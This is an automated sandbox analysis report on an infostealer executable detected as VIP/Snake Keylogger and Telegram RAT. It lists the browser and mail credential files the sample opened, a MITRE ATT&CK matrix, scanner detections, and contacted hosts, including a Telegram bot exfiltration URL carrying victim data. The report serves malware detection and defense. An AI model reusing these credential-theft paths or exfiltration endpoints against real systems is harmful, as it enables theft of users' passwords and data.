Source: Yara match	File source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe PID: 7288, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe PID: 7288, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe PID: 7288, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe PID: 7288, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe PID: 7288, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	31 Security Software Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	24 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	50%	ReversingLabs	Win32.Infostealer.ClipBanker
173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	100%	Avira	HEUR/AGEN.1305924
173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://sws.swpushroller.eu/swsk/P4.php	0%	Avira URL Cloud	safe
http://sws.swpushroller.eu	0%	Avira URL Cloud	safe
http://sws.swpushroller.eu/swsk/api.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.97.3	true	false	high
api.telegram.org	149.154.167.220	true	false	high
sws.swpushroller.eu	141.98.10.88	true	false	unknown
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/173.254.250.72	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:364339%0D%0ADate%20and%20Time:%2011/11/2024%20/%2005:56:38%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20364339%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		high
http://checkip.dyndns.org/	false		high
http://sws.swpushroller.eu/swsk/P4.php	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000297F000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002857000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002857000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/173.254.250.72$	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002830000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.00000000027EB000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002857000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/lB	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000297A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/H	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false		high
http://sws.swpushroller.eu	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000290C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.000000000379C000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003948000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.00000000038FB000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003B75000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003A51000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003970000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.000000000379C000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000287B000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003948000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.00000000038FB000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003B75000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003A51000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003970000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002857000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000294E000.00000004.00000800.00020000.00000000.sdmp	false		high
